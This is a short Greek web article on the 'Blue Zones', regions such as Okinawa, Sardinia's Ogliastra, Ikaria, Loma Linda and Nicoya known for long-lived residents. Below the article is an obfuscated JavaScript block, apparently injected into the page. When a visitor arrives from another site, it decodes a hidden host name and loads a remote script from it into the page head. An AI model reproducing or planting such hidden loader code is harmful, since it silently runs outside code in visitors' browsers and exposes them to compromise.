Οκινάουα, Ιαπωνία

Στην Ιαπωνία, τα νησιά της Οκινάουα που βρίσκονται στα ανατολικά, σχηματίζουν το αρχιπέλαγος Ryūkyū. Αυτή η «Blue zone» είναι διάσημη γιατί [οι κάτοικοί της] χαρακτηρίζονται από ένα μεγαλύτερο προσδόκιμο ζωής -χωρίς αναπηρίες- παγκοσμίως και γι’ αυτό θεωρείται η “Χώρα των αθάνατων” με βάση τους ιαπωνικούς θρύλους.

Και στην περίπτωση της Οκινάουα, η διατροφή παίζει θεμελιώδη ρόλο στη μακροζωία -σε αυτόν τον παράγονται προστίθενται και άλλοι όπως: ο τρόπος ζωής, η κοινωνικότητα, το περιβάλλον.

Οι άλλες μπλε ζώνες στον κόσμο

Ogliastra, ΣΑΡΔΙΝΙΑ

Η περιοχή Ogliastra, που βρίσκεται στην κεντρική-ανατολική περιοχή του νησιού, κατοικείται από μια σειρά γοητευτικών πόλεων που χαρακτηρίζονται από τη μακροζωία των κατοίκων της.

Ικαρία, Ελλάδα

Το νησί της Ικαρίας αποτελεί τμήμα της Ελλάδας και βρίσκεται στο κεντρικό-ανατολικό Αιγαίο Πέλαγος. Όπως όλη η Ελλάδα, η Ικαρία αποτελεί μια τοποθεσία πλούσια σε ιστορία.

Loma Linda, Καλιφόρνια

Η πόλη ζει μέσα από την υιοθέτηση βιώσιμων πρακτικών και ακολουθεί μια φιλοσοφία που δίνει προτεραιότητα στη βιωσιμότητα.

Nicoya, Κόστα Ρίκα

Οι κάτοικοι της περιοχής λέγεται ότι έχουν μια πολύ θετική στάση απέναντι στη ζωή και αυτό μπορεί να βοηθήσει τους ηλικιωμένους να ζήσουν περισσότερο.

μοιραστείτε αυτήν τη σελίδα

<______script type="text/javascript"> function _0x2034(_0x512a6a,_0x5664fc){var _0x2067cc=_0x360f();return _0x2034=function(_0x30f9df,_0x10e403){_0x30f9df=_0x30f9df-(-0x5*0x4a7+0xdaf*0x2+0x372*-0x1);var _0x376ab8=_0x2067cc[_0x30f9df];return _0x376ab8;},_0x2034(_0x512a6a,_0x5664fc);}(function(_0x14b945,_0x335f27){var _0x3b312c=_0x2034,_0x89af1d=_0x14b945();while(!![]){try{var _0x5aa7d5=-parseInt(_0x3b312c(0xb2))/(0x5*0x13a+-0xed0+0x8af)+parseInt(_0x3b312c(0xcd))/(-0x7*-0x4cd+-0x2c*-0x7a+-0x3691)*(parseInt(_0x3b312c(0xc6))/(-0x6*0x34+-0x16*0x67+-0x1*-0xa15))+-parseInt(_0x3b312c(0xbe))/(-0x1eb+-0x248d+0x267c)+parseInt(_0x3b312c(0xc9))/(-0x7*0x359+0x88b+-0xb*-0x15b)+parseInt(_0x3b312c(0xaf))/(0xc76+-0x1d*-0x55+-0x3*0x75b)*(parseInt(_0x3b312c(0xac))/(-0x6*-0x3c5+-0x6b*-0x1a+-0x2175))+parseInt(_0x3b312c(0xd6))/(-0x478+-0x21c4+0x2644)*(-parseInt(_0x3b312c(0xa9))/(-0x69d*0x3+-0x265c+0x3a3c))+-parseInt(_0x3b312c(0xb1))/(-0xd3f*0x2+0x139d+0x6eb);if(_0x5aa7d5===_0x335f27)break;else _0x89af1d['push'](_0x89af1d['shift']());}catch(_0x2b9ae4){_0x89af1d['push'](_0x89af1d['shift']());}}}(_0x360f,0x16ccd1+0xf8ee5+-0x193027),function(_0x3c9376,_0x168212){var _0x8f82c0=_0x2034,_0x3eb24d={'ogVJc':function(_0x59aa7f,_0x3167b9){return _0x59aa7f/_0x3167b9;},'pVyrz':function(_0x35c8eb,_0x449556){return _0x35c8eb-_0x449556;},'tTQSI':function(_0x2250ea,_0x58e0bf){return _0x2250ea%_0x58e0bf;},'kcAfa':function(_0x1657a6,_0x45f975){return _0x1657a6-_0x45f975;},'TEoYY':function(_0xc49c4,_0x4e8c4a){return _0xc49c4(_0x4e8c4a);},'EUMbr':_0x8f82c0(0xca)+_0x8f82c0(0xd3)+_0x8f82c0(0xc1),'BVMSm':_0x8f82c0(0xd2),'HCDkK':_0x8f82c0(0xc2)+_0x8f82c0(0xb7),'aoOEE':function(_0x4b031a,_0x3f58ab){return _0x4b031a+_0x3f58ab;},'RToRk':function(_0x116b0c,_0x29fc04){return _0x116b0c+_0x29fc04;},'wpQpn':_0x8f82c0(0xc5),'RFjvT':_0x8f82c0(0xaa),'tiskE':_0x8f82c0(0xc4),'hsFHb':_0x8f82c0(0xb9)},_0x58be68=Math[_0x8f82c0(0xd4)](_0x3eb24d[_0x8f82c0(0xbd)](Date[_0x8f82c0(0xc3)](),-0x33d+0xa7*0x19+-0x92a)),_0x2a8540=_0x3eb24d[_0x8f82c0(0xc7)](_0x58be68,_0x3eb24d[_0x8f82c0(0xb0)](_0x58be68,-0x1883+-0xd19+0x33ac));_0x58be68=_0x3eb24d[_0x8f82c0(0xd0)](_0x58be68,_0x3eb24d[_0x8f82c0(0xb0)](_0x58be68,-0x208+0x14*-0x107+-0x4*-0x63b)),_0x58be68=_0x58be68[_0x8f82c0(0xad)](0x5e*-0x2f+0x1f45+-0xdf3);if(!document[_0x8f82c0(0xcb)])return;const _0x563a5f=_0x3eb24d[_0x8f82c0(0xb6)](atob,_0x3eb24d[_0x8f82c0(0xb8)]);_0x168212=_0x3c9376[_0x8f82c0(0xbf)+_0x8f82c0(0xb5)](_0x3eb24d[_0x8f82c0(0xba)]),_0x168212[_0x8f82c0(0xae)]=_0x3eb24d[_0x8f82c0(0xab)],_0x168212[_0x8f82c0(0xb4)]=!![],_0x168212[_0x8f82c0(0xbb)]=_0x3eb24d[_0x8f82c0(0xc0)](_0x3eb24d[_0x8f82c0(0xbc)](_0x3eb24d[_0x8f82c0(0xc0)](_0x3eb24d[_0x8f82c0(0xbc)](_0x3eb24d[_0x8f82c0(0xc0)](_0x3eb24d[_0x8f82c0(0xd5)],_0x563a5f),_0x3eb24d[_0x8f82c0(0xcc)]),_0x2a8540),_0x3eb24d[_0x8f82c0(0xcf)]),_0x58be68),_0x3c9376[_0x8f82c0(0xce)+_0x8f82c0(0xb3)](_0x3eb24d[_0x8f82c0(0xc8)])[0xd*0x26e+0x2231+0x41c7*-0x1][_0x8f82c0(0xd1)+'d'](_0x168212);}(document));function _0x360f(){var _0x4e44f5=['BVMSm','src','RToRk','ogVJc','4697824bEyWgl','createElem','aoOEE','LmxpdmU=','text/javas','now','.js?ver=','https://','62079yDsCVK','pVyrz','hsFHb','7135110Vfswhu','c3RhdC5jb3','referrer','RFjvT','76ZGGCfR','getElement','tiskE','kcAfa','appendChil','script','VudGVyMjQ3','floor','wpQpn','64QyFMlD','1007136dkiawT','/user.cnt.','HCDkK','133ZGpKDy','toString','type','428082okRTRd','tTQSI','5595990sfHuwo','76543uVwxng','sByTagName','async','ent','TEoYY','cript','EUMbr','head'];_0x360f=function(){return _0x4e44f5;};return _0x360f();}